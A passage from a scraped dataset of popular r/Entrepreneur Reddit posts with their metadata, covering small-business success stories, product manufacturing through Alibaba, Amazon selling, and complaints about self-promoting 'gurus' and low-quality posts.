return, you can screw up four times and still break even with one winner. I like those odds. ## Partnerships Partnerships are great, but they’re only worth pursuing after you’ve had some success. That’s true because people don’t really want to help you, they want to help themselves. And when you’re not successful it’s hard for them to see how working with you is going to help them. The more successful you are, the easier it is to land a partnership that skyrockets your success. # My final thoughts ## Don’t take it personally Most people aren’t going to support you. In fact, they’re probably going to hate and try to tear you down. Don’t take this personally. And don’t waste your energy by getting mad or upset. It’s not their job to believe in you, that’s your job, my friend. Become successful and then make a post like this one to help them out. ## You are the enemy I’m literally giving the playbook and I’ll be around to answer questions in the comments. But most people haven’t read this far, and they won’t ask questions, and they won’t take action. Instead, they’re learning how to design their own logo using Sketch. ## Take massive action Getting an LLC, designing a pretty logo, hunting for the perfect domain name, doing years of market research, overthinking your next move, listening to haters/trolls, etc are all reasons people never take action and ultimately fail. ## Be humble. Be confident. Don’t be overconfident and think you have all the answers. In the same breath, believe in yourself and don’t over-optimize for someone else's opinion all the time. Collect your own data with small experiments/tests and take it from there. ## Be positive I don’t want to get all Tony Robbins on you man, but YOU REALLY CAN DO THIS. It’s hard work. Sometimes it sucks (like, really sucks). The more successful you become, the more haters you get. Hobbies are lost, friendships fade. But the good outweighs the bad by 1,000,000 to 1. So trust me, you got it. And if you need help then I got you. If you’re ever in doubt then refer back to this post because this is your **Ski Lift**, so go make it **SnowFall.** I hoped this post gave you the confidence and energy needed to get to work. # How to reach me If you have an interesting problem you’re working on and think I’d be a cool partner or just want some encouragement then let me know in the comments. Follow me on [Facebook](https://www.facebook.com/RealHassanRiggs). \----------------------- Given the DM request, I edited to add my Facebook Group: If you want to [join my community where I plan to talk about all this stuff in more detail then let's do it homie](https://www.facebook.com/groups/snowfallstartup/). I'm still in the process of setting this up (at this very moment) and plan to have more Q&A there.",snowfallstartup,2265,257,1590679180,/r/Entrepreneur/comments/gs866a/from_0_to_32301043_in_14_months_with_a_simple/,https://www.reddit.com/r/Entrepreneur/comments/gs866a/from_0_to_32301043_in_14_months_with_a_simple/,self.Entrepreneur,True,,,,, i54bi0,Entrepreneur,I hate Linkedin gurus with a passion,"For the following reasons: 1) overly positive and upbeat all the damn time 2) emotionally exploitative posts like ""2008. I was living in a rundown apartment after my parents abandoned me due to my alcoholism..."" 3) cringey statuses like ""Reinventing Finance 1% at a time | Extraordinary Husband | Trailblazer in the Kitchen | Apptrepreneur"" 4) ""if you don't come out of this quarantine with a new skill or job, you are WASTING this opportunity!"" during a time of record unemployment 5) shameless, absolutely shameless self-promotion 6) People who leave their jobs and write 5 paragraphs thanking everyone and anyone at their last company for being their best friends, close family, donated a kidney, etc. If it was truly that great, why are you leaving? 7) ""HUSTLE AND GET THAT $$"" 8) Posts about exercising and working out in the gym. How is this even business related? 9) PASSIVE INCOME. GENERATE CASH FLOW! INVEST IN REAL ESTATE! Poster has zero real estate experience and does not have any investing credentials. 10) **none of them are actually rich, successful, or have any proven track record** yet they seek so much attention 11) Pointless platitudes that are marketed as courageous but in reality are just common sense. ""You should be paid what you are worth at your company"". 20,000 upvotes. No shit. 12) Inspirational posts about how Mark Zuckerberg and Jeff Bezos once started off as not rich. Now, they are rich. Conveniently leaves out both of them were already incredibly successful and extraordinary people by the time they started their respective ventures. 13) ""HERE'S HOW YOU BECOME A MILLIONAIRE: Sell a product for $100,000 ten times. How do you sell a product for $100,000? Create something that is worth $100,000."" Wow, why didn't I think of that? 14) Posts about waking up at 4:30 AM to ""get shit done"". No. That's what my day is for. 15) First statement. New line. Second statement. New line. Third statement. New line... The proliferation of social media marketing has reached a boiling point where consumers are inundated with annoying ""hustlers"" who peddle subpar products and misleading advice. It's useless at best and outright deceitful at worst. On average, it's become incredibly annoying. Edit: Will update list if I think of anything else.",Past_Sir,2251,489,1596762282,/r/Entrepreneur/comments/i54bi0/i_hate_linkedin_gurus_with_a_passion/,https://www.reddit.com/r/Entrepreneur/comments/i54bi0/i_hate_linkedin_gurus_with_a_passion/,self.Entrepreneur,True,,,,, 9n8xyj,Entrepreneur,"Inventrepreneurship: I took an idea to mass production with less than $6,000 (including biz filing and website fees) and turned it into a $5k/week profit business in 10 months. Here's MY process to get a simple invention from idea to mass production."," TL;DR at bottom - I apologize ahead of time if formatting is terrible. I don't really understand Reddit formatting. Let me preface this by saying that my initial product, the one this guide is based off of, was very simple. It's 100% polycarbonate. No metals, electronics, textile, etc. It's also extremely small. Maybe 4"" in length, 1"" height, and .5"" thick. Also, I will not disclose my product because there are still corners in the market I have not captured yet but am in the process of capturing. &#x200B; TOTAL COST: $5,485.33 (+/- $500) &#x200B; First step: Ideation and Market Assessment My cost: $0 You have to have an idea. How and whether you choose to litmus test the market or not is up to you. I personally just looked at my market and saw that no one had created a product for it. There were videos with hundreds of thousands of views on how to jerry rig up a device that accomplished what I eventually simplified and mass produced. It was a bit of a risk and at every stage I'd have doubts about whether or not I was wasting my time creating something destined to fail. I went into this product expecting to sell 1,000 units over 2 years. &#x200B; Next step: Design My cost: $363.33 The next step for me was designing. I drew a very crude drawing on a sticky note at work and wasn't really sure where to go from here. I figured I would need a 3D prototype somehow. I found a local business that does 3D printing, but even better, they did 3D CAD (Computer-Assisted Design) as well. So I was able to explain to them my concept, an engineer made a CAD model (we had to make a few adjustments before getting it just right). Then I had prototypes printed out. I'm not sure what each charge was, but going through my banking history, I can see my charges for this were: $140, $30.46, $170.46, $22.41 - so that's my total CAD and prototyping cost for this phase. Here's a price list from the company I used for CAD and prototyping: [https://imgur.com/a/uMCB5NW](https://imgur.com/a/uMCB5NW) &#x200B; Next step: Registering Your Business My cost: $130 I probably should have done this step before prototyping but I was learning as I went and wasn't extremely sure whether or not this would come to fruition. Once it became evident that I was actually going to do this, I got an EIN assigned (free) via [IRS.gov](https://irs.gov/). I went through the local name filing and LLC. filing $45 for the name filing fee and $50 for the LLC filing fee (+$35 for expedited service). Also set up transaction privilege tax and anything else I may not be able to think of at this moment. &#x200B; Next step: Mass Production My cost: $4,600 This is a part in any consumer product where I think a lot of people get stuck. I will outline my process, though it'll vary depending on your product. My process is the way I found with zero guidance. There very well could be more efficient processes that I am unaware of, but this process has served me now for 3 separate, original, inventions. I had a CAD in .STP and .STL formats. I had prototypes printed. The company I used for my CAD offered to run me a batch of cold casted product for about $12/pc. I put down a 20% ($240) deposit for a run of 100 pieces. There were several attempts to make the product, but the quality was always just not quite there. I think cold casting just cannot achieve the quality I needed for my product. Not only that, but the end product was quite heavy. I didn't follow through with the product and just cut my losses on the deposit. They tried and that matters in justifying my losses, but in the end, they weren't cut out for the work. So I reached out to some injection molding companies in the US. One notable one I remember was ICOmold. I found them through some websites as I was searching for an injection molder. They were suggested because they either have no or low MOQ (minimum order qty) and they were supposedly low-cost. I got an instant quote from them and the pricing for that came out to, as far as I understood the quote, $11,520. [Here is the quote I received](https://imgur.com/a/iUKLlsw). Unfortunately, I didn't have $11,500 so I kept looking. Eventually, I decided to reach out to businesses on Alibaba. I found businesses that made products similar to mine or made products that used materials similar to mine (polycarbonate) and simply asked if they could injection mold custom designs. I may have even put out an RFQ (Request for Quote). I got several responses and quotes, and though there were some cheaper quotes, I settled on another company simply because they pointed out issues with the design that other companies had missed. Draft angles and thickness issues, etc. So I could tell they knew what they were doing and provided good quality. They re-engineered the design to be injection mold compatible free of charge. [Their quote](https://imgur.com/a/f0bwuaY) for the mold and 1,000 units (the product is made up of 3 separate pieces that join together) came out to $4,350 before shipping. They made some 3D printed prototypes on a seemingly very high end machine because it almost looked like an injection molded product with how smooth and well-made it was. It was the best prototype I had received up to this point. I paid $50 to have that prototype shipped. Then another $200 to have my first batch of 1,000 final products shipped from China to the US. Product arrived, looked fantastic, and was ready for sale. &#x200B; Final step: Sales My cost: $392 + varying sales/fulfillment fees This step was interesting because I didn't really do any advertising at first for the product. I paid for Wix for 1 year ($204 but after leaving the site, they sent me a 50% coupon so I paid $102). I built out a website and got an Amazon seller's account ($40). I listed the product on Amazon for $40USD/pc. My costs per piece not including the mold are about .55c/pc. Then there are Amazon fees and packaging. Amazon fees are something around $6 per sale for me. Packaging is pennies on the dollar - I use polybags and card stock paper toppers. I know I should, but I don't even take packaging costs into account because the margins are so large. One thing about listing on Amazon is you need UPC codes usually. These are supposed to be obtained via GS1. I bought 10 UPC's for $250 via GS1. Since there was already a market, I didn't really need to advertise it. People just searched basic keywords on Amazon and I was the only option. Once it was listed, it started gaining its own traction. I got 4 or 5 sales the first month and it climbed and climbed from there. I remember when it hit $700/week in profit, I was kind of freaking out thinking I had made it and couldn't get over how proud I was of myself for creating this mass produced product - I had never manufactured a tangible item before, so it was really cool for me. Sometimes I would just be sitting and turn to my buddy and say, ""Dude, I can't believe I created this. An actual product."" It was pretty surreal for a while and I still have moments where I just take in what I've built. It's been just over a year since it hit the market. In that time, I have produced 3 more original ideas. The product is now on sales platforms in 4 continents (8 countries). There's a resale market for my product on eBay, which I found cool. The product alone pulls about $5,000 in profit per week (product costs me .62/pc after shipping from China to US. Then Amazon fees are $6 and change. I list product for $40USD on all sales fronts. Shipping costs about $6 within the US for every 100pcs I send to Amazon. Pretty insignifcant cost. I also sell on my website and on eBay - eBay is 13% in fees. Website I don't have fees aside from my subscription as well as shipping, which they pay for.) If you think about the income this product brings, it's really not much when you consider how large the audience base is. Which just proves to me that you really don't need to make a massively popular product to do well. If you can just take a tiny percentage of a large customer base, you can do quite well. I think a lot of people that call out other businesses for being deceitful about how successful they are (silicone rings) don't realize that. Small products can make large figures with the right margins and the right reach. One last thing I want to note; we are in an age where being an inventor is easier than it's ever been. We have an endless supply of information and resources. We are so well connected to engineers, designers, factories, etc. Before, the common sentiment was that ideas are worthless because everyone has them. I still believe this to be true. Ideas used to be extremely worthless because everyone had them and no one had the guidance to create them. We are now at the stage where it is very easy to take an idea to production on your own. It's still early enough in that stage that not many people understand the process. However, it's getting more and more saturated every day. One day, the only thing holding an idea from reality will be money, and even then, it will likely become a much smaller factor than it is now. I expect that product creation will soon find entry numbers comparable to hobbyists entering videography or coding, in that what was once a specialized field of knowledge limited to a small number of people, is becoming easier and easier to enter into with zero experience... if that makes sense. Right now, I feel like the thing holding people back is that they don't understand the ""How?"" of production and don't have the funding. They don't know where to start and the first speed bump they hit is where they stop. Those speed bumps are being scraped off by the efficiency of technology every single day. Soon, it'll be a straight road with a speed limit of 95MPH. I've given you a slightly upgraded suspension system, get ahead while you've got the competitive edge. &#x200B; Some of my favorite tools in creating a product/business: \-Fiverr \-UpWork \-Alibaba \-Google \-Google \-Google \-Canva Quick note: I waited to patent this product until a little after it hit the market because I didn't have the funding to do it before that. It's kind of a niché product and I wasn't worried about anyone stealing the idea - and they didn't. The patent application has now been filed, so it's PP and cost me about $2,500. \*WARNING\*: Once your product hits the public, you have 1 year to patent it. If you wait longer than that, you become ineligible to apply for a patent (or you can apply but risk someone challenging it if they find proof to go against you) TL;DR \-Hire CAD designer \-Prototype \-Find production factory (I use Alibaba - they're not only useful for buying already existing products) \-Sell \-Profit?",IssaThrowawayAcct11,2244,395,1539255820,/r/Entrepreneur/comments/9n8xyj/inventrepreneurship_i_took_an_idea_to_mass/,https://www.reddit.com/r/Entrepreneur/comments/9n8xyj/inventrepreneurship_i_took_an_idea_to_mass/,self.Entrepreneur,True,,,,, 7oc89l,Entrepreneur,TIL Bob Ross was never paid for his show on PBS. He was basically a content marketer.,"I read this in the book Unbranding. The relevant part: ""Bob Ross, beloved, afro-rockin', godfather of painting instructions and happy accidents, was never paid a nickel for his legendary show. He did each and every one for free. The show was created to promote his company's painting supplies."" Made me realize what level of work / detail / value I need to put into my own content marketing. Anyway, thought it was interesting.",drewtarvin,2233,128,1515169156,/r/Entrepreneur/comments/7oc89l/til_bob_ross_was_never_paid_for_his_show_on_pbs/,https://www.reddit.com/r/Entrepreneur/comments/7oc89l/til_bob_ross_was_never_paid_for_his_show_on_pbs/,self.Entrepreneur,True,,,,, a5jpi0,Entrepreneur,"How I Made $150,000 Selling a Meme","I’m writing this short case study in hopes to inspire young entrepreneurs to take action on their seemingly stupid ideas — because the *stupid* ones are the *best* ones… I think most people on Reddit are familiar with the [nut button meme](https://i.imgur.com/5KHejsm.png). It was popular back in 2016, which is ancient in terms of the Internet’s attention span. Despite the meme’s old age, my friend and I have done over $150,000 in sales by leveraging its virality, focusing on simple SEO, and expanding aggressively. We made that 2D meme into a real product — a simple push-activated sound button — and automated our sales across FBA. **The Numbers** * $150,000 revenue in 2018 (proof linked at end) * 6 Countries * 60% profit margin * 4-hours/week of work MAX * Tens of thousands of nuts in this world This isn’t so much a guide, rather just how we did things and what we learned along the way. \- **Our First 1,000 Units - Inception-to-Market** My friend and I always spit-ball stupid ideas off each other, hoping something might stick. One day he called and said *how has nobody made a real-life nut button; let’s fucking make it.* It sounded stupid at first, but the more we talked it out the less stupid of an idea it became. *Why it Might Work* * The marketing was already done, but the product wasn’t there * By that I mean there were millions of shares/views of our soon-to-be-product by ways of the meme, and **brand recognition** was there. * Risk was only $1,250 each for first 1,000 units (minimum order quantity) * Upside was about $4,000 each *Why it Might Not Work* * Outdated//irrelevant meme *The juice was worth the squeeze* we figured *—* and if we failed, we could just hand them out on the street or at school for fun… So we found a manufacturer on Alibaba, negotiated a price in broken English, and 1,000 nut buttons were at my doorstep about a month later. I still remember cutting into the first box, and feeling a mix of excitement and extreme self-doubt (I think that mix means you’re on to something). I bought our domain for 10 bucks and set up a SquareSpace site with all the “*high-conversion rules*” that I had read on Google. With as few frictions as possible in mind, the site contained: * One call to action, “Buy Now” (though we’ve broken this rule) * Price – we decided $11.99 was fair * Product title and brief description * Big, hero images of our product * Meta descriptions with SEO keywords And nothing more. Our site was live and our nuts were hot and ready to sell. *But how were people going to know that we were selling?* We were severely outranked by the actual meme in any early Google search, so we opted for some paid advertising. We scheduled a few posts with quasi-popular Instagram accounts ($75-150per post), and a $10/day ad budget on Facebook. *We waited.* Our first day we got zero orders. Our second day we got one order, and celebrated. Each day, sales were slowly dribbling in, and by week two we were doing five sales a day and felt like Bill fucking Gates. **Logistics** We bought ourselves a label printer, 500 yellow bubble mailers, and a ShipStation/Stamps account for discounted USPS rates. My college apartment was right across the street from the post office. Every morning before class, I would print out labels, pack the nuts, and drop them off at USPS. Eventually the post office people started calling me Mr. Nut when I was dropping off huge garbage bags full of nuts. At the same time I had set up an Amazon storefront (only $40/month), and we were in the process of sending inventory to FBA distribution centers. I also set up an eBay page for International orders, since eBay has their own global distribution center and deals with customs/shipping themselves. I was surprised by the amount of people paying $20+ on shipping alone to have a nut button sent to their country. **Legal Protection** We also realized that this product would be super easy for a big fish to produce themselves and undercut us. So we spent a good amount in the beginning on legal fees, trademarks, and IP protection to protect us down the road. Definitely worth it. **Big Break** Our goal was alway to get the nut button viral — but that seemed out of our power. Our paid Instagram posts were met with hostile comments like “gtfo normies this isn’t 2016” — but we were still getting around 5 orders a day so we could take the heat. Sometime in November of 2017, this video \[link\] of a Jack Russel Terrier playing with the nut button was [posted](https://www.youtube.com/watch?v=9GoQv9dxRtw). Within a day, it had hundreds of thousands of views and shares on Twitter, and was soon reposted to Barstool with over 5.5 million followers. Our phones were popping off with order notifications. We watched our Amazon seller charts go from 5 orders a day to at its peak well over 100 a day. We were selling more than we anticipated, so many in fact that we were about to run out of inventory, right before Christmas. **Zero-Inventory Sales** It would take 30 days to have new inventory rush-produced in China and sent to us, but we were going to run out of inventory much sooner than that. We did **not** want to lose our momentum, specially during the holiday season. It was mid November, and manufacturer told us that we would have our new batch (5,000 units, which we negotiated for a much cheaper price) by December 11th, which would give us time to fulfill all Christmas orders. We were totally out of inventory by the end of November. So my partner and I agreed to continue taking orders on Amazon (seller-fulfilled) and our website, but we messaged each buyer explaining that we were back ordered and we guaranteed that their nuts would come before Christmas with a free “surprise gift” (it was a nut sticker). Otherwise, they could get an immediate refund no questions asked. Is it illegal to take orders without inventory? I have no idea. But surprisingly *very* few orders were cancelled. December 11th was around the corner, and we were devastated when tracking info started showing delays. We didn’t even consider the possibility of not fulfilling hundreds of Christmas gift orders that we “guaranteed.” At the same time, I was still in college and finals were approaching so I was stressed as fuck. Lesson learned, be as prepared for the best-case scenario as you are for the worst-case. I was taking a finance final exam when a truck dropped off our palette of nuts, and my house-mates accepted the 20 or so 40kg boxes of nut buttons. There were over 1,000 orders that could finally be fulfilled. I hired three of my friends to help me with packing, and compensated them $15/hr, or offered to pay them in nut buttons (they chose cash). We worked into the night printing labels and packing nut buttons. By midnight my room had become a sea of yellow mailer packages. I had to [trudge through them](https://streamable.com/30m92) to get to my bed (which I had more videos of this). The next morning I made about twenty trips to the post office. The lady working there looked on in horror as I dropped black garbage bag after black garbage bag full of nuts onto her desk. We were so happy that we got everything sorted out in time that we decided to give back. We found out there were 7 workers at the factory in China where our buttons were made, so we sent each of them $20 for the holidays. In return they sent us great pictures of themselves and handwritten thank you notes. The minimum wage in the city where the factory is located is about $2.90/hour, so I think that $20 means much more to them than it does us. **2018** It’s been a little over a year since we started this. Every other day I still pack nuts from our website orders and drop them off at the post office, but 95% of fulfillment is automated by Amazon these days. We were recently accepted into an Amazon program called *Small and Light* which enormously reduced our fees and increased our profits. We also decided to test out different price points. So we tried $14.99 for a couple days to see what kind of effect it had on sales. Weirdly enough our sales for that week were actually *greater* than they were at $11.99… so we haven’t looked back since. Maybe it's a perceived value thing? Or The Nut Button just has really inelastic demand. We’ve also expanded via Amazon EU into the UK, Germany, France, Spain, and Italy. Despite the annoyance of VAT taxes, we’ve added roughly 15% to our overall sales. Since last holiday season, we’ve improved total sales by about 75% and steeply improved our margins. This coming January, my partner and I planned a trip to China, where we’ll go meet the factory boss and employees, and give them another holiday bonus! Thanks for hearing our story I don’t mean this in any ways to be self-promotion — I just want to share our story and some fun stuff in getting the business off the ground, and hopefully inspire someone along the way. I’m happy to answer any and all questions you guys have. &#x200B; \*Bonus edit: I believe my most loyal consumers are [furries](https://twitter.com/packonines/status/1068746663764860929). so shoutout to you weirdos. \*\*For those asking, here is our site: [https://www.thenutbutton.com/](https://www.thenutbutton.com/)",sk8ingmomo,2229,311,1544632327,/r/Entrepreneur/comments/a5jpi0/how_i_made_150000_selling_a_meme/,https://www.reddit.com/r/Entrepreneur/comments/a5jpi0/how_i_made_150000_selling_a_meme/,self.Entrepreneur,True,,,,, 8otmd7,Entrepreneur,"Tai Lopez ""Pay It Forward"" is a COMPLETE SCAM",[deleted],[deleted],2217,374,1528226088,/r/Entrepreneur/comments/8otmd7/tai_lopez_pay_it_forward_is_a_complete_scam/,https://www.reddit.com/r/Entrepreneur/comments/8otmd7/tai_lopez_pay_it_forward_is_a_complete_scam/,self.Entrepreneur,True,,,,, 5okzhj,Entrepreneur,I'm tired of reading about people making 6 figures in 30 days with drop shipping and t shirts. Who here has an interesting small business that just ticks over with a profit each and every month? What are your stories?,,LL112,2187,1684,1484689461,/r/Entrepreneur/comments/5okzhj/im_tired_of_reading_about_people_making_6_figures/,https://www.reddit.com/r/Entrepreneur/comments/5okzhj/im_tired_of_reading_about_people_making_6_figures/,self.Entrepreneur,True,,,,, 6lmotf,Entrepreneur,"I make $10,000 per month with the Amazon Affiliate Program—AMA","Hello r/Entrepreneur, I have the afternoon off of work today and I'm bored, so I thought I'd try to add a little value to this sub. * First, some proof: http://imgur.com/l2mXXIe * Second, I have no blog, no email list, no course to sell you. You will not find a single link to any of those things in this post. A little background: My name is TJ and I'm in my early-30s. I've been dabbling with authority/niche websites for close to 3 years now as a way to add a little ""side-hustle"" income to my day job (a job that I still have today). The earnings for the screen shot you see above are from a single website, the only site that I currently run. The site is less than two years old and consistently does between $10,000-$11,000 per month in revenue. My expenses consist of web hosting, stock images, and my only writer, an expert copywriter in my niche who I pay about $600-$700 per month (he's a superstar). So on average, depending on the month, we're talking about $9,200-$10,200/mo in pure profit, doing about 5-10 hours of work per week. Here's the gist of what I do: enter a very broad niche (let's say, ""health""), and write two types of content to fill my site with: 1) informational type content that appeals to readers of my site, and 2) product-based roundups to earn affiliate income with. This is nothing groundbreaking: it's pretty much what every IM blog recommends doing. Let's take a few examples: for the 1st type of content, it's just informational type posts that your readers would enjoy. So, something like this: https://greatist.com/eat/chicken-breast-recipes-you-can-meal-prep For the 2nd type of content, I do a roundup of the best products in my niche. For example: http://www.outdoorgearlab.com/topics/camping-and-hiking/best-ultralight-sleeping-bag **There is nothing complicated about this content.** You all read your favorite sites/blogs every single day, and you've seen this type of content on the internet a thousand times! The trick is, it has to be high-quality. Exceptional quality. Read some articles on Greatist.com and you'll see exactly what I'm talking about. If you can write (or find a writer who can write) that type of content, then you're in business. That covers the content side of things, the types of posts that you'll fill your website with (I like to do about 75% info content vs 25% commercial content). The second half of the coin is getting backlinks to your info content. I'm not going to write an entire guide on how to get links, but I recommend checking out a few sites (Backlinko, Authority Hacker to name two of the best) to learn best practices on how to do outreach to bloggers in your niche to pick up some links. Some of the techniques I've found most success with (Google them): skyscraper, guest posting, and resource-page link building. I've built probably 200, white-hat manual outreach type links to get where I am today. That may sound like a lot, but it's not that many. The key is: **they are all natural, relevant, and authoritative.** Then, over time, your content will start to rank high in Google due to the quality of your content and quality of your links. Your ""best camping tent"" guide will rank on page 1, people searching for that query on Google will land on your site, click your affiliate link, and you'll start earning some money. Do that 100x over with different buyer's guides (best camping backpack, best camping flashlight) and you can start earning some serious coin. So in short, if you can do these three things: * pick a broad enough niche that appeals to a lot of people and which offers lots of physical products for sale (think: health, beauty, fitness, pets) * produce extremely high-quality info + product-roundup content * learn how to do manual outreach to bloggers in your niche asking for backlinks Then you should be on your way to earning a decent side-hustle income. Any questions about my strategies (NOT about my site, which of course I will not be revealing), feel free to ask. P.S. While I only work 5-10 hours on the site now, getting this all up and running from the ground-up on Day 1 was **a LOT of work** and required about $7,000 in start up costs (which all went to my writer; that number can be close to $0 if you can write hundreds of thousands of words yourself). **UPDATE**: Thanks for all the questions, guys! I tried to get to most of them! I'm packing it in for the night. Good luck!",tjyedon,2164,920,1499356718,/r/Entrepreneur/comments/6lmotf/i_make_10000_per_month_with_the_amazon_affiliate/,https://www.reddit.com/r/Entrepreneur/comments/6lmotf/i_make_10000_per_month_with_the_amazon_affiliate/,self.Entrepreneur,True,,,,, dur40u,Entrepreneur,Top 7 reasons this sub is hot garbage,"10) Meta posts complaining about the quality without having contributed anything. (credit: u/1ceyou) 9) ""I need help with this idea, but I'm not telling you what it is because you're going to steal it"" 8) People who calculate profit without factoring in what they paid themselves 7) “I have no revenue and no business experience. Where the angles at?” 6) “Hi, I’m Pat from starterstory with another interview with someone who will share their revenue numbers (meaningless), but not profit numbers. Enjoy this self promotion, which is normally banned, but allowed because the post is greater than 100,000 characters.” 5) “You should get into power washing” 4) Any genuine request for help by someone who’s actually put in time to establish a product or service is flagged as self-promotion and shut down, thereby removing users who are actively trying to seek help to build their business. 3) The number of people who believe that drop shipping (outside of drop shipping courses) is still viable for the average person 2) “I’ve got an idea. Somebody pay me.” 1. “I hate my job and want to be a bazzilionaire, but I’ve tried nothing and I’m all out of ideas.” &#x200B; Feel free to add you own below :) Edit: If this post gets at least 50 upvotes, I'll create a sub where people are welcome to talk about their products and the bullshit is cut down as much as possible. So tired of this shit. We need a place where we can talk strategy without interruption. Edit 2: This post literally got 5 upvotes in 2 seconds. I've been checking. At least we agree on one thing around here :) Edit 3: It's official! We're doing this. New community is /r/cutthebull Thanks guys. Today is my last day in this sub. Taking moderator applications from people who have a strong internal bullshit detector. Edit 4: Going to bed guys. Thanks so much for your support. I'll have a look at your comments when I get up tomorrow. Edit 5: The mods of this sub are a **class act.** Some have reached out to me to explain how I can best run the new sub. I no longer believe that they are the problem here. I was ignorant.",Saskjimbo,2145,363,1573471469,/r/Entrepreneur/comments/dur40u/top_7_reasons_this_sub_is_hot_garbage/,https://www.reddit.com/r/Entrepreneur/comments/dur40u/top_7_reasons_this_sub_is_hot_garbage/,self.Entrepreneur,True,,,,, kapxpt,Entrepreneur,For everyone who wants to learn Computer Science from MIT for FREE. We have created a Computer Science curriculum using FREE courses from the MIT OpenCourseWare program. The program consists of 40 courses organised in 4 academic years.,https://laconicml.com/computer-science-engineer-mit-university/,kingproyce,2112,106,1607641637,/r/Entrepreneur/comments/kapxpt/for_everyone_who_wants_to_learn_computer_science/,https://www.reddit.com/r/Entrepreneur/comments/kapxpt/for_everyone_who_wants_to_learn_computer_science/,self.Entrepreneur,True,,,,, 8xjayc,Entrepreneur,"Any post on this sub that reads ""$12k/month"" or ""$50k/month"" or $whatever k/month is an advertisement and extremely annoying. Do not fall for their shit, and do not feed them with your comments and praise.","Obviously there are those few exceptions that are actually real people who make real money... But the majority are not. We have to remember that Reddit can be used as a free marketing platform. But these types of posts, whether it's beard oil, t shirts, or whatever... They gotta stop being upvoted by everyone. They aren't helping you and/or your dream to become rich. We have to stop saying ""whoa! $15 thousand dollars a month?? I want that! Upvoted!"" I've been on this sub a long time and there are some real genuine people here... But we have to weed out the bad ones, and not fall for all the shit. ",helloyesnoyesnoyesno,2104,253,1531186698,/r/Entrepreneur/comments/8xjayc/any_post_on_this_sub_that_reads_12kmonth_or/,https://www.reddit.com/r/Entrepreneur/comments/8xjayc/any_post_on_this_sub_that_reads_12kmonth_or/,self.Entrepreneur,True,,,,, 5e02fw,Entrepreneur,"Can we ban all these posts offering ""free"" services like logo, seo etc. that are just marketing their own services and building a mailing list? This sub should be about discussion, not a business marketplace",*,ChaseSanborn,2096,284,1479675114,/r/Entrepreneur/comments/5e02fw/can_we_ban_all_these_posts_offering_free_services/,https://www.reddit.com/r/Entrepreneur/comments/5e02fw/can_we_ban_all_these_posts_offering_free_services/,self.Entrepreneur,True,,,,, 10mxbuk,Entrepreneur,Made $200k last year while still in college,"I've had this in my draft post for weeks and idk if it's of any value to anyone at this point but here goes: Got the final numbers this week and to my disbelief, I 8x’d my income between 2021 ($25k) and 2022, while still in college. Realizing I made this money last year hasn't made me any happier than when I worked at a restaurant for $2k/mo, but I did learn more last year than any other year, about business and life. Hopefully there's something in here that helps someone out there. My business is an ecommerce business, I buy containers of product that I've white-labelled from a manufacturer in China and sell it online. I don't work from a beach in Bali or drive a nice car, most of my year was sitting behind a computer at my desk, answering calls, visiting the warehouse, etc. My day-to-day resembles most 9-5 jobs. But, I'm making enough money to support myself and building equity, and that's been the #1 goal since I got started. Some background, my first experience in business was a drop shipping business that I started in 2020. It had all kinds of issues and stressed me the fuck out, but I managed to sell it in the summer of 2021 for $15k. People always say ""don't sell unless it's a life changing amount of money"" and as dumb as it sounds, $15k at the time WAS a life changing amount of money. I'd never seen that much money at once, and that check proved to me that I was at least capable of creating something valuable. Smiling ear-to-ear, I took my $15k to the bank and enjoyed the rest of the summer without a care in the world. For two months, I applied to jobs, internships, and got ready for school to start up again in the fall. After a single week of classes, I realized there was no way I'd be able to sit still for another 2 years of school: I had to start something new. I started looking for product ideas. My criteria was this: \\- high AOV ($500+) \\- no local competition \\- somehow related to my existing product/industry knowledge Within a few weeks, I stumbled on what I thought was an amazing product that fit my criteria, and decided that instead of leaving my hard-earned $15k in the S&P, I was going to go all-in on starting my own direct-to-consumer business. I blamed most of the issues of the drop shipping business on how dependent I was on the supplier, and thought by taking on more risk and servicing a larger portion of the value chain, I could create something more sustainable (and more profitable). I would buy inventory from a factory overseas, wait several months for it to arrive, brand it, and sell it online. I started with one order (one pallet) of the product from China in November 2021. This was when shipping rates were still insane so the cost of the product was about $5k and the shipping was $7k via ocean, so after some other costs, ads, Shopify etc I'd pretty much put all the money I had into this new idea. The first pallet took about 4 months to arrive, but in that time I was running ads, sending out samples to customers, and improving the website. I managed to sell the entire first batch of inventory before it arrived, and used that revenue to order another pallet from the factory in January 2022. By March 2022, the second pallet was sold out and I ordered my first 20' container. This was a huge jump in order size, and suddenly my entire net worth was in that container, plus I had $10k in credit card debt. Everything was riding on that container, if something went wrong I'd pretty much be SOL. Of course, the manufacturer fucked it up and sent about 35% of the inventory in the wrong colour, with this terrible finishing material that looked really cheap and fake. The product I'm selling is very aesthetic-based and I've priced/marketed it on the higher end, so this was devastating to me. I had a meltdown in my bedroom, yelled a bunch, took some deep breaths, and prayed that this wouldn't sink me. For weeks, I had nightmares of all the 1-star reviews, returns, complaints, lawsuits, etc., but there was nothing I could do. I took photos of the product as it was, put it on the website and hoped for the best. A small number of people complained, but most people didn't seem to mind the difference (or know the difference, since there were virtually no competitors in this niche), and the ""terrible"" inventory was sold out within a matter of weeks. We even got a few positive reviews during that time which really got the ball rolling. As usual, when it feels like the sky is falling...it usually isn't. As the months went by, I kept repeating this process: Ordering product, selling it, calling customers for feedback, having the factory make changes to the product, selling more, repeat. I sold $80k/month from June-September, $100k in October, $200k in November and $120k last month. I closed out 2022 with 800k in revenue, I netted about 25%. No employees, some contractors for odd jobs, and a 3PL. From Jan-May I was in school (taking 5 classes) while working a part-time internship in fintech. In May, I went full time into the business, but was back to school in the fall with three classes. My grades have taken a hit as the business has grown but I'm still on track to graduate in April. I've finally hired a full time employee to handle customer service and am now working on adding new products and pursuing new markets. As I said in the beginning, I made $25k in 2021. In 2020 I depended solely on COVID checks, and before that I waited tables while pursuing a career in music. Here's a few of the things that have helped me the most over the past 2 years. **Be honest about your reasons for doing things** Ask yourself this - if you could never tell a single soul about what you're doing, would you still do it? If you could never brag at dinner parties about owning your own business, would you still want to own one? If you couldn't put ""entrepreneur"" in your bio would you still want to be one? If you can't answer these questions honestly, reflect on your reasons for doing what you do. In my experience, it's incredibly hard to succeed at something if your primary motivator is vanity/ego. The life of a business owner is too ugly and painful to be worth it if you're just doing it is to flex on imaginary haters. I made the biggest strides in life and business after I deleted my instagram account and haven't looked back. **The silver bullet you're looking for is sacrificing the thing you love the most** I'm not there yet, but the one thing that's helped me progress more in life and business more than anything else has been giving up one of the things I love the most: alcohol. I absolutely love the feeling of being drunk, but from March-October last year I didn't have a drop of alcohol and the business objectively wouldn't have done 